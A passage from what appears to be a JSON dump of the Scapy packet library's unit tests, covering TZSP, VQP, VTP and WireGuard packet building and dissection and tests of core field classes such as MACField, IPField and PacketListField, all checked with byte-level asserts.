dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      Raw(b'\\xff')\n\nfrm = frm.build()\nfrm = Ether(frm)\n\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr\nraw_lyr = tzsp_lyr.payload\nassert type(raw_lyr) is Raw\nassert raw_lyr.load == b'\\xff'\n"
  },
  {
    "path": "test/contrib/vqp.uts",
    "content": "% VQP tests\n\n+ Basic VQP tests\n\n= Build VQP\n\npkt = UDP()/VQP(type=2,\n  seq=15)/VQPEntry(datatype=3073,data=\"1.2.3.4\")/VQPEntry(datatype=3078,\n  data=\"AA:AA:AA:AA:AA:AA\")\n\nassert bytes(pkt) == b'\\x065\\x065\\x00&\\x00\\x00\\x01\\x02\\x00\\x02\\x00\\x00\\x00\\x0f\\x00\\x00\\x0c\\x01\\x00\\x04\\x01\\x02\\x03\\x04\\x00\\x00\\x0c\\x06\\x00\\x06\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\n\n= Dissect VQP\n\npkt = UDP(b'\\x065\\x065\\x00&\\x00\\x00\\x01\\x02\\x00\\x02\\x00\\x00\\x00\\x0f\\x00\\x00\\x0c\\x01\\x00\\x04\\x01\\x02\\x03\\x04\\x00\\x00\\x0c\\x06\\x00\\x06\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa')\n\nassert pkt[VQP].sprintf(\"%type%\") == \"responseVLAN\"\nassert pkt.getlayer(VQPEntry, 1).len == 4\nassert pkt.getlayer(VQPEntry, 1).sprintf(\"%datatype%\") == \"clientIPAddress\"\nassert pkt.getlayer(VQPEntry, 2).len == 6\nassert pkt.getlayer(VQPEntry, 2).sprintf(\"%datatype%\") == \"ReqMACAddress\"\n"
  },
  {
    "path": "test/contrib/vtp.uts",
    "content": "# VP unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('vtp')\" -t test/contrib/vtp.uts\n\n\n+ VTP\n\n= VTP, basic instantiation\npkt = VTP(vlaninfo=[VTPVlanInfo()])\nassert len(pkt) == 72\n"
  },
  {
    "path": "test/contrib/wireguard.uts",
    "content": "% WireGuard tests\n\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('wireguard')\" -t test/contrib/wireguard.uts\n\n+ Build packets & dissect\n\n= Build and dissect Transport\nwgTransport = Wireguard()/WireguardTransport(receiver_index=1234, counter=1337, encrypted_encapsulated_packet=b\"test123\")\nassert bytes(wgTransport) == b'\\x04\\x00\\x00\\x00\\xd2\\x04\\x00\\x009\\x05\\x00\\x00\\x00\\x00\\x00\\x00test123'\n\nwgTransport = Wireguard(b'\\x04\\x00\\x00\\x00\\xe1\\x10\\x00\\x00\\x9a\\x02\\x00\\x00\\x00\\x00\\x00\\x00test123')\nassert wgTransport.message_type == 4\nassert wgTransport[WireguardTransport].receiver_index == 4321\nassert wgTransport[WireguardTransport].counter == 666\nassert wgTransport[WireguardTransport].encrypted_encapsulated_packet == b\"test123\"\n\n= Build and dissect Init\nwgInit = Wireguard()/WireguardInitiation(sender_index=12345, \n    unencrypted_ephemeral=b\"\\xaf\\xfe\"*16, encrypted_static=b\"lul\", encrypted_timestamp=b\"kukuk\", mac1=\"\\x01\"*16, mac2=\"\\x02\"*16\n)\nassert bytes(wgInit) == b'\\x01\\x00\\x00\\x0090\\x00\\x00\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfe\\xaf\\xfelul\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00kukuk\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' + b'\\x01' * 16 + b'\\x02' * 16\n\nwgInit = Wireguard(b'\\x01\\x00\\x00\\x0090\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xffstatisch\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00nixgibts\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x03\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04')\n\nassert wgInit.message_type == 1\nassert wgInit[WireguardInitiation].sender_index == 12345\nassert wgInit[WireguardInitiation].unencrypted_ephemeral == b\"\\xff\"*32\nassert wgInit[WireguardInitiation].encrypted_static == b\"statisch\" + b\"\\x00\" * 40\nassert wgInit[WireguardInitiation].encrypted_timestamp == b\"nixgibts\" + b\"\\x00\" * 20\nassert wgInit[WireguardInitiation].mac1 == b\"\\x03\" * 16\nassert wgInit[WireguardInitiation].mac2 == b\"\\x04\" * 16\n\n= Build and dissect Response\nwgResp = Wireguard()/WireguardResponse(sender_index=12345, receiver_index=7878,\n    unencrypted_ephemeral=b\"\\x41\"*32, encrypted_nothing=b\"empty\", mac1=b\"mac1\", mac2=b\"mac2\"\n)\n\nassert bytes(wgResp) == b'\\x02\\x00\\x00\\x0090\\x00\\x00\\xc6\\x1e\\x00\\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAempty\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00mac1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00mac2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n\nwgResp = Wireguard(b'\\x02\\x00\\x00\\x00W\\x04\\x00\\x00\\xae\\x08\\x00\\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBnotempty\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00mac1lol\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00mac2lol\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nassert wgResp.message_type == 2\nassert wgResp[WireguardResponse].sender_index == 1111\nassert wgResp[WireguardResponse].receiver_index == 2222\nassert wgResp[WireguardResponse].unencrypted_ephemeral == b\"B\"*32\nassert wgResp[WireguardResponse].encrypted_nothing == b\"notempty\" + b\"\\x00\" * 8\nassert wgResp[WireguardResponse].mac1 == b\"mac1lol\" + b\"\\x00\" * 9\nassert wgResp[WireguardResponse].mac2 == b\"mac2lol\" + b\"\\x00\" * 9\n\n= Build and dissect Cookie Response\nwgCookie = Wireguard()/WireguardCookieReply(receiver_index=3333,\n    nonce=b\"C\"*24, encrypted_cookie=b\"D\"*16 + b\"E\"*16\n)\n\nassert bytes(wgCookie) == b'\\x03\\x00\\x00\\x00\\x05\\r\\x00\\x00CCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEE'\n\n\nwgCookie = Wireguard(b'\\x03\\x00\\x00\\x00\\xb8\"\\x00\\x00KKKKKKKKKKKKKKKKKKKKKKKKLLLLLLLLLLLLLLLLMMMMMMMMMMMMMMMM')\n\nassert wgCookie.message_type == 3\nassert wgCookie[WireguardCookieReply].receiver_index == 8888\nassert wgCookie[WireguardCookieReply].nonce == b\"K\"*24\nassert wgCookie[WireguardCookieReply].encrypted_cookie == b\"L\" * 16 + b\"M\" * 16\n"
  },
  {
    "path": "test/fields.uts",
    "content": "% Regression tests for Scapy regarding fields\n\n############\n############\n+ Tests on basic fields\n\n#= Field class\n#~ core field\n#Field(\"foo\", None, fmt=\"H\").i2m(None,0xabcdef)\n#assert  _ == b\"\\xcd\\xef\" \n#Field(\"foo\", None, fmt=\"<I\").i2m(None,0x12cdef)\n#assert  _ == b\"\\xef\\xcd\\x12\\x00\" \n#Field(\"foo\", None, fmt=\"B\").addfield(None, \"FOO\", 0x12)\n#assert  _ == b\"FOO\\x12\" \n#Field(\"foo\", None, fmt=\"I\").getfield(None, b\"\\x12\\x34\\x56\\x78ABCD\")\n#assert  _ == (\"ABCD\",0x12345678) \n\n\n= ConditionnalField class\n~ core field\n\n# Test equality with conditional fields\n\nclass TEST_COND(Packet):\n    fields_desc = [\n        IntField(\"A\", 0),\n        ConditionalField(IntField(\"A0\",0), lambda pkt:pkt.A == 0),\n        ConditionalField(IntField(\"A1\",0), lambda pkt:pkt.A != 0),\n        IntField(\"B\", 0),\n        ConditionalField(IntField(\"B0\",0), lambda pkt:pkt.B == 0),\n        ConditionalField(IntField(\"B1\",0), lambda pkt:pkt.B != 0),\n        ]\n\nprint(TEST_COND(TEST_COND().build()).fields)\n\na = TEST_COND()\nb = TEST_COND(raw(TEST_COND()))\nassert raw(a) == raw(b)\nassert a == b\n\n# Test ConditionalField dependencies\n\nclass TEST_COND(Packet):\n    fields_desc = [\n        ByteField('A', 0),\n        ConditionalField(ByteField('B', 0),\n            lambda pkt:pkt.A != 0),\n        ConditionalField(ByteField('C', 0),\n            lambda pkt:pkt.B == 0),\n        ]\n\nassert TEST_COND().build() == b'\\x00'\n\n# Test MultipleTypeField in ConditionalField\n\nclass TEST_INNER(Packet):\n    fields_desc = [\n        ByteField('A', 0),\n        ByteField('B', 0),\n        ConditionalField(\n            MultipleTypeField(\n                [\n                    (ByteField('C', 1), lambda pkt: pkt.B == 1), \n                    (ByteField('C', 2), lambda pkt: pkt.B == 2), \n                ],\n                ByteField('C', 0),\n            ),\n            lambda pkt: pkt.A,\n        )\n    ]\n\npkt = TEST_INNER()\npkt.A = 1\npkt.B = 1\nassert pkt.C == 1\n\n= Simple tests\n\nassert LongField(\"test\", None).addfield(None, b\"\", 0x44434241) == b'\\x00\\x00\\x00\\x00DCBA'\nassert SignedLongField(\"test\", None).addfield(None, b\"\", -2) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xfe'\n\nassert LELongField(\"test\", None).addfield(None, b\"\", 0x44434241) == b'ABCD\\x00\\x00\\x00\\x00'\nassert LESignedLongField(\"test\", None).addfield(None, b\"\", -2) == b'\\xfe\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= MACField class\n~ core field\nm = MACField(\"foo\", None)\nr = m.i2m(None, None)\nr\nassert r == b\"\\x00\\x00\\x00\\x00\\x00\\x00\"\nr = m.getfield(None, b\"\\xc0\\x01\\xbe\\xef\\xba\\xbeABCD\")\nr\nassert r == (b\"ABCD\",\"c0:01:be:ef:ba:be\") \nr = m.addfield(None, b\"FOO\", \"c0:01:be:ef:ba:be\")\nr\nassert r == b\"FOO\\xc0\\x01\\xbe\\xef\\xba\\xbe\" \n\n= LEMACField class\n~ core field\nm = LEMACField(\"foo\", None)\nr = m.i2m(None, None)\nr\nassert r == b\"\\x00\\x00\\x00\\x00\\x00\\x00\"\nr = m.getfield(None, b\"\\xbe\\xba\\xef\\xbe\\x01\\xc0ABCD\")\nr\nassert r == (b\"ABCD\",\"c0:01:be:ef:ba:be\")\nr = m.addfield(None, b\"FOO\", \"be:ba:ef:be:01:c0\")\nr\nassert r == b\"FOO\\xc0\\x01\\xbe\\xef\\xba\\xbe\"\n\n= SourceMACField\nconf.route.add(net=\"1.2.3.4/32\", dev=conf.iface)\np = Ether() / ARP(pdst=\"1.2.3.4\")\nassert p.src == p.hwsrc == p[ARP].hwsrc == get_if_hwaddr(conf.iface)\np = Dot3() / LLC() / SNAP() / ARP(pdst=\"1.2.3.4\")\nassert p.src == p.hwsrc == p[ARP].hwsrc == get_if_hwaddr(conf.iface)\nconf.route.delt(net=\"1.2.3.4/32\", dev=conf.iface)\n\n= IPField class\n~ core field\n\ni = IPField(\"foo\", None)\nr = i.i2m(None, \"1.2.3.4\")\nr\nassert r == b\"\\x01\\x02\\x03\\x04\"\nr = i.i2m(None, \"255.255.255.255\")\nr\nassert r == b\"\\xff\\xff\\xff\\xff\"\nr = i.m2i(None, b\"\\x01\\x02\\x03\\x04\")\nr\nassert r == \"1.2.3.4\"\nr = i.getfield(None, b\"\\x01\\x02\\x03\\x04ABCD\")\nr\nassert r == (b\"ABCD\",\"1.2.3.4\")\nr = i.addfield(None, b\"FOO\", \"1.2.3.4\")\nr\nassert r == b\"FOO\\x01\\x02\\x03\\x04\"\n\n= SourceIPField\n~ core field\ndefaddr = conf.route.route('0.0.0.0')[1]\nclass Test(Packet): fields_desc = [SourceIPField(\"sourceip\")]\n\nassert Test().sourceip == defaddr\nassert Test(raw(Test())).sourceip == defaddr\n\nassert IP(dst=\"0.0.0.0\").src == defaddr\nassert IP(raw(IP(dst=\"0.0.0.0\"))).src == defaddr\ndefaddr = conf.route.route('1.1.1.1')[1]\nassert IP(dst=\"1.1.1.1\").src == defaddr\nassert IP(raw(IP(dst=\"1.1.1.1\"))).src == defaddr\n\n\n#= ByteField\n#~ core field\n#b = ByteField(\"foo\", None)\n#b.i2m(\"\n#b.getfield\n\n= ThreeBytesField\n~ field threebytesfield\n\nclass TestThreeBytesField(Packet):\n    fields_desc = [ \n        X3BytesField('test1', None),\n        ThreeBytesField('test2', None),\n        XLE3BytesField('test3', None),\n        LEThreeBytesField('test4', None),\n    ]\n\np = TestThreeBytesField(test1=0x123456, test2=123456, test3=0xfedbca, test4=567890)\nassert raw(p) == b'\\x12\\x34\\x56\\x01\\xe2\\x40\\xca\\xdb\\xfe\\x52\\xaa\\x08'\nprint(p.sprintf('%test1% %test2% %test3% %test4%'))\nassert p.sprintf('%test1% %test2% %test3% %test4%') == '0x123456 123456 0xfedbca 567890'\nassert repr(p.test1) == '1193046'\n\n\n= NBytesField\n~ field nbytesfield\n\nclass TestNBytesField(Packet):\n    fields_desc = [\n        NBytesField('test1', None, 7),\n        XNBytesField('test2', None, 5),\n        XNBytesField('test3', None, 11),\n        NBytesField('test4', None, 11),\n    ]\n\np = TestNBytesField(test1=0x00112233445566, test2=824650445619, test3=0xffeeddccbbaa9988776655, test4=0xffeeddccbbaa9988776655)\nprint(raw(p))\nassert raw(p) == b'\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\xc0\\x00\\xff\\x33\\x33\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88\\x77\\x66\\x55\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88\\x77\\x66\\x55'\nprint(p.sprintf('%test1% %test2% %test3% %test4%'))\nassert p.sprintf('%test1% %test2% %test3% %test4%') == '18838586676582 0xc000ff3333 0xffeeddccbbaa9988776655 309404098707666285700277845'\nassert p.test1 == 0x112233445566\nassert p.test2 == 0xc000ff3333\nassert p.test3 == 0xffeeddccbbaa9988776655\nassert p.test4 == 309404098707666285700277845\n\nclass TestFuzzNBytesField(Packet):\n    fields_desc = [\n        NBytesField('test1', 0, 128),\n    ]\n\nf = fuzz(TestFuzzNBytesField())\nassert f.test1.max == 2 ** (128 * 8) - 1\n\np2 = TestNBytesField(raw(p))\nassert p2.sprintf('%test1% %test2% %test3% %test4%') == '18838586676582 0xc000ff3333 0xffeeddccbbaa9988776655 309404098707666285700277845'\nassert p2.test1 == 18838586676582\nassert p2.test2 == 0xc000ff3333\nassert p2.test3 == 0xffeeddccbbaa9988776655\nassert p2.test4 == 309404098707666285700277845\nassert raw(p2) == raw(TestNBytesField(test1=p2.test1, test2=p2.test2, test3=p2.test3, test4=p2.test4))\n\n= StrField\n~ field strfield\n~ field strlenfield\n\nclass TestStrField(Packet):\n    fields_desc = [\n        LEFieldLenField('slen', None, length_of=\"s1\"),\n        StrLenField('s1', None, length_from=lambda pkt: pkt.slen),\n        StrField('s2', None),\n    ]\n\np = TestStrField(s1=\"cafe\", s2=\"deadbeef\")\nassert raw(p) == b'\\x04\\x00cafedeadbeef'\nprint(p.sprintf(\"%s1% %s2%\"))\nassert p.sprintf(\"%s1% %s2%\") == \"b'cafe' b'deadbeef'\"\n\n\n= StrFieldUtf16\n~ field strfieldutf16\n~ field strlenfieldutf16\n\nclass TestStrLenFieldUtf16(Packet):\n    fields_desc = [\n        LEFieldLenField('slen', None, length_of=\"s1\"),\n        StrLenFieldUtf16('s1', None, length_from=lambda pkt: pkt.slen),\n    ]\n\np = TestStrLenFieldUtf16(s1='cafe')\nassert raw(p) == b'\\x08\\x00c\\x00a\\x00f\\x00e\\x00'\nassert p.sprintf(\"%s1%\") == 'cafe'\n\n= StrFieldUtf16\n~ field strfieldutf16\n~ field strlenfieldutf16\n\nclass TestStrFieldUtf16(Packet):\n    fields_desc = [\n        StrFieldUtf16('s1', None),\n    ]\n\np = TestStrFieldUtf16(s1='cafe')\nassert raw(p) == b'c\\x00a\\x00f\\x00e\\x00'\nassert p.sprintf(\"%s1%\") == 'cafe'\n\n############\n############\n+ Tests on ActionField\n\n= Creation of a layer with ActionField\n~ field actionfield\n\n\nclass TestAction(Packet):\n    __slots__ = [\"_val\", \"_fld\", \"_priv1\", \"_priv2\"]\n    name = \"TestAction\"\n    fields_desc = [ ActionField(ByteField(\"tst\", 3), \"my_action\", priv1=1, priv2=2) ]\n    def __init__(self, *args, **kargs):\n        self._val, self._fld, self._priv1, self._priv2 = None, None, None, None\n        super(TestAction, self).__init__(*args, **kargs)\n    def my_action(self, val, fld, priv1, priv2):\n        print(\"Action (%i)!\" % val)\n        self._val, self._fld, self._priv1, self._priv2 = val, fld, priv1, priv2\n\n= Triggering action\n~ field actionfield\n\nt = TestAction()\nassert t._val == t._fld == t._priv1 == t._priv2 == None\nt.tst=42\nassert t._priv1 == 1\nassert t._priv2 == 2\nassert t._val == 42\n\n\n############\n############\n+ Tests on FieldLenField\n\n= Creation of a layer with FieldLenField\n~ field \nclass TestFLenF(Packet):\n    fields_desc = [ FieldLenField(\"len\", None, length_of=\"str\", fmt=\"B\", adjust=lambda pkt,x:x+1),\n                    StrLenField(\"str\", \"default\", length_from=lambda pkt:pkt.len-1,) ]\n\n= Assembly of an empty packet\n~ field\np = TestFLenF()\np\nr = raw(p)\nr\nr == b\"\\x08default\"\n\n= Assembly of non empty packet\n~ field\np = TestFLenF(str=\"123\")\np\nr = raw(p)\nr\nr == b\"\\x04123\"\n\n= Disassembly\n~ field\np = TestFLenF(b\"\\x04ABCDEFGHIJKL\")\np\np.len == 4 and p.str == b\"ABC\" and Raw in p\n\n\n= BitFieldLenField test\n~ field\nclass TestBFLenF(Packet):\n    fields_desc = [ BitFieldLenField(\"len\", None, 4, length_of=\"str\" , adjust=lambda pkt,x:x+1, tot_size=-2),\n                    BitField(\"nothing\",0xfff, 12, end_tot_size=-2),\n                    StrLenField(\"str\", \"default\", length_from=lambda pkt:pkt.len-1, ) ]\n\na=TestBFLenF()\nr = raw(a)\nr\nassert r == b\"\\xff\\x8fdefault\"\n\na.str=\"\"\nr = raw(a)\nr\nassert r == b\"\\xff\\x1f\"\n\np = TestBFLenF(b\"\\xff\\x1f@@\")\np\nassert p.len == 1 and p.str == b\"\" and Raw in p and p[Raw].load == b\"@@\"\n\np = TestBFLenF(b\"\\xff\\x6fabcdeFGH\")\np\nassert p.len == 6 and p.str == b\"abcde\" and Raw in p and p[Raw].load == b\"FGH\"\n\n= Test BitLenField\n~ field\n\nSIZES = {0: 6, 1: 6, 2: 14, 3: 22}\n\nclass TestBitLenField(Packet):\n    fields_desc = [\n        BitField(\"mode\", 0, 2),\n        BitLenField(\"value\", 0, length_from=lambda pkt: SIZES[pkt.mode])\n    ]\n\np = TestBitLenField(mode=1, value=50)\nassert bytes(p) == b\"r\"\n\np = TestBitLenField(mode=2, value=5000)\nassert bytes(p) == b'\\x93\\x88'\n\np = TestBitLenField(b'\\xc0\\x01\\xf4')\nassert p.mode == 3\nassert p.value == 500\n\n= Test UTCTimeField\n~ field\n\nclass TestUTCTimeField(Packet):\n    fields_desc = [\n        # A Windows time field. See GH#4308\n        UTCTimeField(\n            \"Time\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        )\n    ]\n\n\np = TestUTCTimeField(Time=0)\nassert p.sprintf(\"%Time%\") == 'Mon, 01 Jan 1601 00:00:00  (-11644473600)'\n\np = TestUTCTimeField(Time=133587912345678900)\nassert p.sprintf(\"%Time%\") == 'Sun, 28 Apr 2024 15:20:34  (1714317634)'\n\n############\n############\n+ Tests on FieldListField\n\n= Creation of a layer\n~ field\nclass TestFLF(Packet):\n    name=\"test\"\n    fields_desc = [ FieldLenField(\"len\", None, count_of=\"lst\", fmt=\"B\"),\n                    FieldListField(\"lst\", None, IntField(\"elt\",0), count_from=lambda pkt:pkt.len)\n                   ]\n\n= Assembly of an empty packet\n~ field\na = TestFLF()\nraw(a)\n\n= Assembly of a non-empty packet\n~ field\na = TestFLF()\na.lst = [7,65539]\nls(a)\nr = raw(a)\nr\nimport struct\nr == struct.pack(\"!BII\", 2,7,65539)\n\n= Disassemble\n~ field\nimport struct\np = TestFLF(b\"\\x00\\x11\\x12\")\np\nassert p.len == 0 and Raw in p and p[Raw].load == b\"\\x11\\x12\"\np = TestFLF(struct.pack(\"!BIII\",3,1234,2345,12345678))\np\nassert p.len == 3 and p.lst == [1234,2345,12345678]\n\n= Disassemble unaligned\n~ field\nimport struct\nclass TestFLFUnaligned(Packet):\n    name=\"test\"\n    fields_desc = [ BitFieldLenField(\"len\", None, 3, count_of=\"lst\"),\n                    FieldListField(\"lst\", None, XBitField(\"elt\",0,8), count_from=lambda pkt:pkt.len),\n                    BitField(\"ignore\", None, 5),\n                   ]\n\np = TestFLFUnaligned(b\"\\x68\\x28\\x48\\x6a\")\np\nassert p.len == 3 and p.lst == [0x41,0x42,0x43] and p.ignore == 0xa\n\n= Manipulate\n~ field\na = TestFLF(lst=[4])\nr = raw(a)\nr\nassert r == b\"\\x01\\x00\\x00\\x00\\x04\"\na.lst.append(1234)\nTestFLF(raw(a))\na.show2()\na.len=7\nr = raw(a)\nassert r == b\"\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x04\\xd2\"\na.len=2\na.lst=[1,2,3,4,5]\np = TestFLF(raw(a))\np\nassert Raw in p and p[Raw].load == b'\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x05'\n\n= Test mutability of the default values\n~ field\nclass X(Packet):\n    fields_desc = [ FieldListField(\"f\", [], ByteField(\"\", 0)) ]\n\nm = X()\nm.f.append(3)\nassert raw(m) == b\"\\x03\"\nassert m.default_fields['f'] == []\nassert m.fields['f'] == [3]\n\n\n############\n############\n+ PacketListField \n\n= Create a layer\n~ field lengthfield\nclass TestPLF(Packet):\n    name=\"test\"\n    fields_desc=[ FieldLenField(\"len\", None, count_of=\"plist\"),\n                  PacketListField(\"plist\", None, IP, count_from=lambda pkt:pkt.len,) ]\n\n= Test the PacketListField assembly\n~ field lengthfield\nx=TestPLF()\nr = raw(x)\nr\nr == b\"\\x00\\x00\"\n\n= Test the PacketListField assembly 2\n~ field lengthfield\nx=TestPLF()\nx.plist=[IP()/TCP(), IP()/UDP()]\nr = raw(x)\nr\nr.startswith(b'\\x00\\x02E')\n\n= Test disassembly\n~ field lengthfield\nx=TestPLF(plist=[IP()/TCP(seq=1234567), IP()/UDP()])\np = TestPLF(raw(x))\np\np.show()\nIP in p and TCP in p and UDP in p and p[TCP].seq == 1234567\n\n= Nested PacketListField\n~ field lengthfield\ny=IP()/TCP(seq=111111)/TestPLF(plist=[IP()/TCP(seq=222222),IP()/UDP()])\np = TestPLF(plist=[y,IP()/TCP(seq=333333)])\np\np.show()\nIP in p and TCP in p and UDP in p and p[TCP].seq == 111111 and p[TCP:2].seq==222222 and p[TCP:3].seq == 333333\n\n############\n############\n+ PacketListField tests\n\n= Create a layer\n~ field lengthfield\nclass TestPLF(Packet):\n    name=\"test\"\n    fields_desc=[ FieldLenField(\"len\", None, count_of=\"plist\"),\n                  PacketListField(\"plist\", None, IP, count_from=lambda pkt:pkt.len) ]\n\n= Test the PacketListField assembly\n~ field lengthfield\nx=TestPLF()\nr = raw(x)\nr\nr == b\"\\x00\\x00\"\n\n= Test the PacketListField assembly 2\n~ field lengthfield\nx=TestPLF()\nx.plist=[IP()/TCP(), IP()/UDP()]\nr = raw(x)\nr\nr.startswith(b'\\x00\\x02E')\n\n= Test disassembly\n~ field lengthfield\nx=TestPLF(plist=[IP()/TCP(seq=1234567), IP()/UDP()])\np = TestPLF(raw(x))\np\np.show()\nIP in p and TCP in p and UDP in p and p[TCP].seq == 1234567\n\n= Test parent reference\n~ field lengthfield\nx=TestPLF(plist=[IP()/TCP(), IP()/UDP()])\nassert p.getlayer(IP, 1).parent == p and p.getlayer(IP, 2).parent == p\np = TestPLF(raw(x))\nassert p.getlayer(IP, 1).parent == p and p.getlayer(IP, 2).parent == p\n\n= Test parent reference in guess_payload_class\n\nclass TestGuessPLFInner(Packet):\n    name=\"test guess inner\"\n    fields_desc=[ LenField(\"foo\", None) ]\n    def guess_payload_class(self, payload):\n        self.parentflag = True\n        if self.parent is None:\n            # all exceptions are caught, so have to use flag\n            self.parentflag = False\n        return super(TestGuessPLFInner, self).guess_payload_class(payload)\n\nclass TestGuessPLF(Packet):\n    name=\"test guess\"\n    fields_desc=[PacketListField(\"plist\", None, TestGuessPLFInner,\n                                 next_cls_cb=lambda p,l,c,r: TestGuessPLFInner if len(l) == 0 else None)]\n\nx=TestGuessPLF(plist=TestGuessPLFInner()/Raw(b'123'))\np=TestGuessPLF(raw(x))\nassert p[TestGuessPLFInner].parentflag\nassert p[TestGuessPLFInner].parent == p\n\n= Nested PacketListField\n~ field lengthfield\ny=IP()/TCP(seq=111111)/TestPLF(plist=[IP()/TCP(seq=222222),IP()/UDP()])\np = TestPLF(plist=[y,IP()/TCP(seq=333333)])\np\np.show()\nIP in p and TCP in p and UDP in p and p[TCP].seq == 111111 and p[TCP:2].seq==222222 and p[TCP:3].seq == 333333\n\n= Complex packet\n~ field lengthfield ccc\nclass TestPkt(Packet):\n    fields_desc = [ ByteField(\"f1\",65),\n                    ShortField(\"f2\",0x4244) ]\n    def extract_padding(self, p):\n        return \"\", p\n\nclass TestPLF2(Packet):\n    fields_desc = [ FieldLenField(\"len1\", None, count_of=\"plist\", fmt=\"H\",\n                                  adjust=lambda pkt, x: x + 2),\n                    FieldLenField(\"len2\", None, length_of=\"plist\", fmt=\"I\",\n                                  adjust=lambda pkt, x: (x + 1) // 2),\n                    PacketListField(\"plist\", None, TestPkt,\n                                    length_from=lambda x: (x.len2 * 2) // 3 * 3) ]\n\na=TestPLF2()\nr = raw(a)\nr\nassert r == b\"\\x00\\x02\\x00\\x00\\x00\\x00\"\n\na.plist=[TestPkt(),TestPkt(f1=100)] \nr = raw(a)\nr\nassert r == b'\\x00\\x04\\x00\\x00\\x00\\x03ABDdBD'\n\na /= \"123456\"\nb = TestPLF2(raw(a))\nb.show()\nassert b.len1 == 4 and b.len2 == 3\nassert b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244\nassert b[TestPkt:2].f1 == 100\nassert Raw in b and b[Raw].load == b\"123456\"\n\na.plist.append(TestPkt(f1=200))\nb = TestPLF2(raw(a))\nb.show()\nassert b.len1 == 5 and b.len2 == 5\nassert b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244\nassert b[TestPkt:2].f1 == 100\nassert b[TestPkt:3].f1 == 200\nassert b.getlayer(TestPkt,4) is None\nassert Raw in b and b[Raw].load == b\"123456\"\nhexdiff(a,b)\nassert  raw(a) == raw(b) \n\n############\n############\n+ Tests on TCPOptionsField\n\n= Test calls on TCPOptionsField.getfield\n\nassert TCPOptionsField(\"test\", \"\").getfield(TCP(dataofs=0), \"\") == ('', [])\n\n\n############\n############\n+ PacketListField tests\n\n= Create a layer\n~ field lengthfield\nclass TestPLF(Packet):\n    name=\"test\"\n    fields_desc=[ FieldLenField(\"len\", None, count_of=\"plist\"),\n                  PacketListField(\"plist\", None, IP, count_from=lambda pkt:pkt.len) ]\n\n= Test the PacketListField assembly\n~ field lengthfield\nx=TestPLF()\nr = raw(x)\nr\nr == b\"\\x00\\x00\"\n\n= Test the PacketListField assembly 2\n~ field lengthfield\nx=TestPLF()\nx.plist=[IP()/TCP(), IP()/UDP()]\nr = raw(x)\nr\nr.startswith(b'\\x00\\x02E')\n\n= Test disassembly\n~ field lengthfield\nx=TestPLF(plist=[IP()/TCP(seq=1234567), IP()/UDP()])\np = TestPLF(raw(x))\np\np.show()\nIP in p and TCP in p and UDP in p and p[TCP].seq == 1234567\n\n= Nested PacketListField\n~ field lengthfield\ny=IP()/TCP(seq=111111)/TestPLF(plist=[IP()/TCP(seq=222222),IP()/UDP()])\np = TestPLF(plist=[y,IP()/TCP(seq=333333)])\np\np.show()\nIP in p and TCP in p and UDP in p and p[TCP].seq == 111111 and p[TCP:2].seq==222222 and p[TCP:3].seq == 333333\n\n= Complex packet\n~ field lengthfield ccc\nclass 